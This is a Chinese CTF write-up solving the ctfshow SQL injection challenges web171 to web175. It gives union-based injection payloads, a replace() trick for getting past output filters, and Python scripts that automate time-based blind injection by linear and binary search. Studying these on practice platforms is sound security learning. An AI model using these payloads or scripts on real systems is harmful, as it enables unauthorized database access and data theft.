当前位置: 首页 > news >正文

ctfshow-web入门-sql注入(web171-web175)

目录

1、web171

2、web172

3、web173

4、web174

5、web175


1、web171

单引号测一下,报错 

--+ 闭合后回显正常 

也可以用 # ,不过需要 URL 编码

成功闭合之后,先判断下字段数:

1' order by 3--+

3 的时候正常 

4 的时候报错,说明只有 3 列 

 测了一下,三个回显位都能正常回显:

0' union select 1,2,3--+

先查一下基本信息: 

0' union select database(),user(),version()--+

当前数据库名为 ctfshow_web 

这里说明一下,因为 mysql 5.0 及其以上的都会自带一个叫 information_schema 的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。 

查该数据库下的所有表:

0' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctfshow_web'--+

其中 2 和 3  只是占位符  

可以看到存在一个名为 ctfshow_user 的表,我们继续查该表下的列名:

0' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user'--+

没看到 flag 这种关键字,因此我们 id,username,password 都查一下:

0' union select id,username,password from ctfshow_web.ctfshow_user--+

最终在 id 为 26 的 password 里找到 flag:ctfshow{64dd0daa-4600-4813-8ef2-cffa99a6f05f} 

当然这种没有绕过的给到 sqlmap 就直接一把嗦了,这里简便的方法也可以采用万能密码:

1'or 1 --+

2、web172

在无过滤注入 1 里面用万能密码未找到 flag

试一下注入 2 的,经过测试这里的回显位只有两个

数据库都懒得查了,用 database() 代替,直接查表:

0' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+

新增了一个 ctfshow_user2 的表,查一下该表下面内容,注意这里有一个检查,要求 username 的内容不能是 flag,才能正常查询成功,那么我们就不查 username ,查 id 和 password 就行了:

0' union select id,password from ctfshow_user2--+

当然也可以只查 password:

0' union select 1,password from ctfshow_user2--+

拿到 flag:ctfshow{97bd5892-2617-417a-8c2e-16134f741704}

如果查询内容有 username,因为 username 里包含了 'flag',因此无法正常回显 flag 的内容:

3、web173

判断一下这次又是三个字段数了,根据前面的规律,这次的表名应该是:ctfshow_web.ctfshow_user3,因为还是对输出过滤了 flag,所有我们还是不查用户名,用占位符占位即可。

payload:

只查 password

0' union select 1,2,password from ctfshow_web.ctfshow_user3--+

查 id 与 password 

0' union select id,2,password from ctfshow_web.ctfshow_user3--+

拿到 flag:ctfshow{eff707be-5727-412e-93be-2c75e5783fa5}

4、web174

还没查就报错了

这里有点问题,手动改一下请求文件为:select-no-waf-4.php

可以发现这里查询结果的输出不能出现数字

查询语句的内容也不能出现数字

可以查到数据库名:ctfshow_web ,因为数据库名里没有数字

但是查表名就不行了,根据前面规律,表名应该为 ctfshow_user4,包含了数字,所以结果出不来,不能直接查。 

0' union select group_concat(table_name),'a' from information_schema.tables where table_schema=database()--+

对输出结果进行替换后再输出,将数字都替换成字母,payload:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from information_schema.tables where table_schema=database()--+

查询结果为:ctfshow_userD 

D 对应的是 4 ,因此表名为:ctfshow_user4 

查询 password:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

得到:ctfshow{eIdGcBcc-cACA-DEIF-aGcB-aAJGdJddGBCe}

最后将查询结果的数字替换回去,也可以用 replace 函数,反过来即可。

这里用 python 实现:

def rev_replace(txt):repl = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}for k, v in repl.items():txt = txt.replace(k, v)return txttxt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)

拿到 flag:ctfshow{e9d7c2cc-c131-4596-a7c2-a107d0dd723e}

5、web175

正常的查 1 都没有回显

if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){$ret['msg']='查询成功';}

正则匹配过滤掉的是所有 ASCII 字符(从 \x00 到 \x7f,也就是从 0 到 127 的所有字符,包括控制字符、数字、字母和符号)。

因此这里采用时间盲注,先测试一下:

1' and sleep(5)--+

观察页面确实存在延时 

我个人比较菜,然后一直都是脚本小子,这次自己来写一下,希望能更好的理解下时间盲注。 

首先看了下它这里除了查询的 id,还有另外的两个参数,这个我们在写脚本时也需要加进去,并且注意到,它调用的接口其实是 /api 下的 v5.php,而不是 select-no-waf-5.php 这个文件哦。

接下来我们先判断下它数据库名的长度,这个其实可以通过 burpsuite 的攻击模块爆破的,没关系,我们这里手写一遍,也锻炼下我们 python 的能力。

关于 burpsuite 用来爆破这种时间盲注,以及一些原理可以参考我之前的博客:

关于SQL时间盲注(基于sleep函数)的手动测试、burpsuite爆破、sqlmap全自动化注入_sql 语句 and sleep-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/Myon5/article/details/135241105?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172242605416800175758093%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=172242605416800175758093&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-2-135241105-null-null.nonecase&utm_term=%E6%97%B6%E9%97%B4%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4450payload:

1' and if(length(database())=11,sleep(3),0) --+
import requestsurl = 'http://e03daa7b-66ad-48fb-8349-da520b7f5fe8.challenge.ctf.show/api/v5.php'
i = 0
for i in range(1, 15):payload = f"id=1' and if(length(database())={i},sleep(3),0) --+&page=1&limit=10"# print(payload)re = requests.get(url, params=payload)time = re.elapsed.total_seconds()print(f"{i}:{time}")# print(re.url)

可以看到当数据库名长度为 11 时,响应存在延时,这与我们前面得到的数据库名为:ctfshow_web,长度就是 11符合。

下面使用两个 for 循环遍历数据库名,从第一个字符猜到第 11 个字符,字符的可能性这里字典设置的是小写字母加数字加下划线:

import requests
import stringurl = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_'
out = ''
for j in range(1, 12):for k in dic:payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10"# print(payload)re = requests.get(url, params=payload)time = re.elapsed.total_seconds()# print(f"{j}:{time}")if time > 2:print(k) out += k #响应延时则将猜测的字符添加到结果里break #跳出内层的for循环,继续遍历下一位
print(out)

跑完得到数据库名为:ctfshow_web

接下来我们继续猜表名,这里就不先判断表名的长度了,设置范围大一点,以确保完整输出数据,使用标志位来判断是否到了最后一位:

import requests
import stringurl = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_'
out = ''
for j in range(1, 30):a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位for k in dic:# payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10"payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"# print(payload)re = requests.get(url, params=payload)time = re.elapsed.total_seconds()# print(f"{j}:{time}")if time > 2:print(k)a = 0 #如果找到字符,则将标志位置0out += kbreak #跳出内层的for循环,继续遍历下一位if a == 1: #在进行下一次循环前,先判断当前字符是否找到break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

得到表名为:ctfshow_user5

我们可以通过调整 limit 的参数来获取到其他的表名,有时候也可以使用 group_concat 函数。

payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

在 SQL 中,LIMIT 子句用于指定查询结果中返回的行数,用法:

LIMIT offset, count

offset 是要跳过的行数,offset 从 0 开始计数,count 是要返回的行数。

比如:

LIMIT 0, 1

从查询结果的第 0 行(即第一行)开始,返回 1 行结果,即返回了查询结果的第一行。

LIMIT 1, 1

从查询结果的第 1 行(即第二行)开始,返回 1 行结果,即返回了查询结果的第二行。

这里尝试找第二行,发现一会代码就结束了,说明这里只有一个表:

接下来查列名:

payload = f"id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

这里只出了一个 id,因为换行导致我们误判为到了最后一个字符,因为我们的字典里只包括数字、小写字母和下划线,因此字符没找到,便跳出外层循环结束了代码。

注释掉最后两句判断结束的语句即可输出完整结果:

也可以通过 limit 来指定查询第三行的内容:

payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

因为我编程能力确实很差,所以这个代码还是存在很多问题的,需要继续改进和完善。

由于前面的题目,我们知道 flag 在 password 字段里,那么我们就查它:

由于 flag 不在第一行,因此我们再细化查询的条件,即 username='flag'

payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

因为 flag 内容还包括了大括号和减号,为了避免提早结束,我们拓展下字典:

dic = string.ascii_lowercase + string.digits + '_-{}'

结果的长度也得扩展:

for j in range(1, 100):

最终的脚本:

import requests
import stringurl = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'
out = ''
for j in range(1, 100):a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位for k in dic:# payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10" # 猜数据库名# payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名# payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名# payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜列名payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜具体字段# print(payload)re = requests.get(url, params=payload)time = re.elapsed.total_seconds()# print(f"{j}:{time}")if time > 2:print(k)a = 0 #如果找到字符,则将标志位置0out += kbreak #跳出内层的for循环,继续遍历下一位if a == 1: #在进行下一次循环前,先判断当前字符是否找到break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

拿到 flag:ctfshow{d6c5132a-3611-4cd3-a840-37e6a68ac6dd}

同理,当我们注释掉最后两行判断结束的代码,并使用 group_concat,就算不追加 username='flag' 的条件,也是可以查到 flag 的,不过这个时间就比较久了,因为我们查的是所有的数据:

payload = f"id=1' and if(substr((select group_concat(password) from ctfshow_web.ctfshow_user5), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"

大致就这样吧,不敢相信我竟然自己写了个盲注的脚本,还加了那么多注释和个人理解,我知道我的代码写得不好,因为还在慢慢学习嘛,对于时间盲注其实更高效的查询方法是二分法查询,这次我主要是练习下自己动手写代码的能力,如果你也是不会写代码,认真看完相信你也能收获些东西的,最后附上二分法查找的代码和注释,写的不好,互相学习吧:

import requestsurl = 'http://de93f700-084d-447e-a783-efdbd7efc984.challenge.ctf.show/api/v5.php'
out = ''
for i in range(1, 100):left, right = 32, 128  # 设置ASCII值的搜索范围mid = (left + right) // 2  # 计算中间值while left < right:# 这里用ascii函数来获取当前字符的ASCII值,与中间值进行比较,注意这条语句是sql中的用法,在python里获取ascii值是用ord函数payload = f"id=1' and if(ascii(substr((select group_concat(password) from ctfshow_web.ctfshow_user5 where username='flag'), {i}, 1)) > {mid},sleep(3),0) --+&page=1&limit=10"re = requests.get(url, params=payload)time = re.elapsed.total_seconds()if time > 2:  # 存在延时,说明当前字符的ascii值大于我们的中间值left = mid + 1  # 调整查找的范围,既然大于那说明ascii值是在中间值的右边,将中间值加1else:  # 不存在延时,说明当前字符的ascii值小于中间值,在左边right = mid  # 左边起始位置不变,将右边的查找范围调整为中间值mid = (left + right) // 2  # 无论查询字符在左边还是右边,中间值都等于更新后的right+left再整除2,之后继续执行while循环,直到找到目标字符的ascii值,left=right,退出while循环print(mid)  out += chr(mid)print(out)

 看完感觉有收获的可以给我个赞或者关注吗哈哈哈,感谢支持!我们下篇博客再见。

相关文章:

ctfshow-web入门-sql注入(web171-web175)

目录 1、web171 2、web172 3、web173 4、web174 5、web175 1、web171 单引号测一下&#xff0c;报错 -- 闭合后回显正常 也可以用 # &#xff0c;不过需要 URL 编码 成功闭合之后&#xff0c;先判断下字段数&#xff1a; 1 order by 3-- 3 的时候正常 4 的时候报错&am…...

视频怎么添加音乐?分享5种视频添加音乐方法

在如今火爆的短视频时代&#xff0c;为视频添加合适的背景音乐&#xff0c;无疑是让其脱颖而出的关键一步。无论是打造个人Vlog、纪录片&#xff0c;还是创意短片&#xff0c;音乐都能赋予视频独特的情感与氛围。那么怎么给视频添加上背景音乐呢&#xff1f;给大家分享5种简单的…...

黑马JavaWeb后端案例开发(包含所有知识点!!!)

目录 1.准备工作 环境搭建 开发规范 REST&#xff08;REpresentation State Transfer&#xff09;,表述性状态转换&#xff0c;它是一种软件架构风格 注意事项 统一响应结果 2.部门管理功能 查询部门 删除部门 新增部门 RequestMapping 3.员工管理功能 分页查询 批…...

FPGA开发——蜂鸣器实现音乐播放器的设计

一、概述 我们在进行蜂鸣器的学习的时候&#xff0c;总会在想既然蜂鸣器能够发出声音&#xff0c;那么它能够播放音乐吗&#xff0c;今天这篇我们文章我们就一起来学习怎样使用使用蜂鸣器来播放音乐&#xff0c;也就是怎样成为一个音乐播放器。 1、蜂鸣器的类型 在设计的时候…...

InnoDB存储引擎(1)

InnoDB存储引擎的优点 InnoDB在设计时考虑到了处理大数据量时的性能&#xff0c;支持事务&#xff0c;回滚和崩溃修复的能力&#xff0c;通过多版本并发控制来减少锁定(降低了锁的争用),同时还支持外键的约束&#xff1b;通过缓冲池在内存中缓存数据来提高查询的性能&#xff…...

VMWare虚拟机共享主机的网络访问外网

1.主机中启动客户端并连接外网 2.设置虚拟网络类型为NAT 3.启动虚拟并通过主机访问外网...

LeetCode Easy|【415. 字符串相加】

力扣题目链接 题目本身难度不大&#xff0c;但是后续的一些补充内容还是值得搞清楚的 主要的逻辑如下&#xff1a; 其实本题的目的就是让我们来模拟我们的竖式加法。所以很直观的一个想法就是使用双指针&#xff1a;分别指向两个 num 的末尾。随后就会产生一些问题&#xff1a…...

RAG 革命:NVIDIA 工作站如何成为企业 AI 的秘密武器

在深圳的一家科技初创公司&#xff0c;首席技术官李梅正在向她的团队展示一个令人兴奋的新项目。“看这个&#xff0c;” 她指着屏幕上的实时演示说&#xff0c;“我们刚刚用公司的技术文档训练了一个 AI 助手&#xff0c;它现在可以回答任何关于我们产品的问题&#xff0c;而且…...

九大原则,轻松构建个人高效SOP

1、原则一、工作汇报SOP SCQA模型(升职加薪的关键!&#xff09; 清晰定义问题和提出解决方案 类别 关键词 解读 S - Situation 情景 陈述项目背景&#xff0c;目标&#xff0c;愿景 C - Complication 冲突 讲卡点&#xff0c;讲冲突 Q - Question 疑问-问题 这些冲…...

Airtest的demo实现多设备并行

Airtest的demo实现多设备并行 它实现是的获取adb连接上的所有设备&#xff0c;然后在每一台设备上跑给定的测试用例&#xff0c;跑完之后生成单机的测试报告&#xff0c;最后再汇总这些单机测试报告的结果&#xff0c;形成汇总&#xff08;聚合&#xff09;报告&#xff1a; 同…...

社区养老服务小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;服务人员管理&#xff0c;服务产品管理&#xff0c;服务预约管理&#xff0c;服务状态管理&#xff0c;服务退订管理&#xff0c;活动管理&#xff0c;视频管理 微信端账号功能包…...

Interceptor拦截器开发

因为1登录后的接口都需要token验证代码,会出现重复代码;2当前的接口不防刷,会被恶意攻击 所以在controller层增加请求拦截,如果你的token不合法,就不让你做后续的处理了 拦截器的作用是什么 作用: 1、对controller层代码的访问进行拦截,合法的请求,那此层代码就处理,反…...

美团 AIGC产品经理面经(已拿 offer)

背景&#xff1a;211本科毕业&#xff0c;毕业之后在北京一家中型电商公司做了3年商家后台产品经理&#xff0c;目前通过老薛的朋友关系拿到了美团的offer。 目前还有几家在面试流程中&#xff0c;继续加油&#x1f4aa; 美团AIGC产品面经-业务面 &#x1f4a5;1、自我介绍&a…...

@RequestBody与@RequestParam

RequestBody会将请求体中的数据&#xff0c;转换成对象.最主要的是RequestBody就是要返回Json的字符串&#xff01;&#xff01;&#xff01; RequestParam会从http请求查询参数中提取数据&#xff01; RequestParam和RequestBody是Spring Framework中用于处理HTTP请求的注解…...

vmware上,虚机经常丢失网卡。导致无法上网。

1、winR 输入 services.msc 2、重启这两个服务。 VMware NAT service和VMware DHCP service...

git 鉴权失败

这条错误信息通常出现在使用Git进行远程操作时&#xff0c;比如克隆仓库、拉取更新或推送代码。错误的含义是&#xff1a; HTTP Basic: Access denied&#xff1a;访问被拒绝。The provided password or token is incorrect&#xff1a;提供的密码或令牌不正确。Your account …...

[C++] 容器适配器:深入理解Stack与Queue的底层原理

文章目录 容器适配器简介deque的缺陷为什么使用deque作为stack和queue的底层默认容器 stack和queue的简单讲解Stack&#xff08;栈&#xff09;栈的操作图示栈的相关接口 Queue&#xff08;队列&#xff09; Stack和Queue的模拟实现Stack&#xff08;栈&#xff09;作为容器适配…...

Eclipse maven 的坑

在使用 eclipse 时&#xff0c; eclipse 的右下角 一直在提示 “JPA java change event handler” &#xff0c;eclipse使用起来很卡&#xff0c;解决办法 问题描述&#xff1a; 在使用 eclipse时&#xff0c; eclipse 的右下角 一直在提示 “JPA java change event handler”…...

多模态视觉大语言模型——LLaVA

论文题目:Visual Instruction Tuning 论文地址:https://arxiv.org/abs/2304.08485 github: https://github.com/haotian-liu/LLaVA 1. Abstract 本文首次尝试使用GPT-4生成多模态指令数据,并基于这些数据训练了LLaVA(Large Language and Vision Assistant)模型,这是一种结…...

服务注册到nacos上,不能点击下线的问题处理

nacos不能下线&#xff1a; 修改 /usr/local/mid/nacos/data 文件夹下 protocol 文件重命名为 protocol_bak&#xff0c;然后再重启nacos nacos单机启动命令&#xff1a;cd sh startup.sh -m standalone nginx启动命令&#xff1a;cd /usr/local/mid/nginx/sbin ./…...

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

逻辑回归:给不确定性划界的分类大师

想象你是一名医生。面对患者的检查报告&#xff08;肿瘤大小、血液指标&#xff09;&#xff0c;你需要做出一个**决定性判断**&#xff1a;恶性还是良性&#xff1f;这种“非黑即白”的抉择&#xff0c;正是**逻辑回归&#xff08;Logistic Regression&#xff09;** 的战场&a…...

LLM基础1_语言模型如何处理文本

基于GitHub项目&#xff1a;https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken&#xff1a;OpenAI开发的专业"分词器" torch&#xff1a;Facebook开发的强力计算引擎&#xff0c;相当于超级计算器 理解词嵌入&#xff1a;给词语画"…...

k8s业务程序联调工具-KtConnect

概述 原理 工具作用是建立了一个从本地到集群的单向VPN&#xff0c;根据VPN原理&#xff0c;打通两个内网必然需要借助一个公共中继节点&#xff0c;ktconnect工具巧妙的利用k8s原生的portforward能力&#xff0c;简化了建立连接的过程&#xff0c;apiserver间接起到了中继节…...

大学生职业发展与就业创业指导教学评价

这里是引用 作为软工2203/2204班的学生&#xff0c;我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要&#xff0c;而您认真负责的教学态度&#xff0c;让课程的每一部分都充满了实用价值。 尤其让我…...

C++.OpenGL (20/64)混合(Blending)

混合(Blending) 透明效果核心原理 #mermaid-svg-SWG0UzVfJms7Sm3e {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-SWG0UzVfJms7Sm3e .error-icon{fill:#552222;}#mermaid-svg-SWG0UzVfJms7Sm3e .error-text{fill…...

通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器

拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件&#xff1a; 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…...

LOOI机器人的技术实现解析:从手势识别到边缘检测

LOOI机器人作为一款创新的AI硬件产品&#xff0c;通过将智能手机转变为具有情感交互能力的桌面机器人&#xff0c;展示了前沿AI技术与传统硬件设计的完美结合。作为AI与玩具领域的专家&#xff0c;我将全面解析LOOI的技术实现架构&#xff0c;特别是其手势识别、物体识别和环境…...

从物理机到云原生:全面解析计算虚拟化技术的演进与应用

前言&#xff1a;我的虚拟化技术探索之旅 我最早接触"虚拟机"的概念是从Java开始的——JVM&#xff08;Java Virtual Machine&#xff09;让"一次编写&#xff0c;到处运行"成为可能。这个软件层面的虚拟化让我着迷&#xff0c;但直到后来接触VMware和Doc…...

数据库——redis

一、Redis 介绍 1. 概述 Redis&#xff08;Remote Dictionary Server&#xff09;是一个开源的、高性能的内存键值数据库系统&#xff0c;具有以下核心特点&#xff1a; 内存存储架构&#xff1a;数据主要存储在内存中&#xff0c;提供微秒级的读写响应 多数据结构支持&…...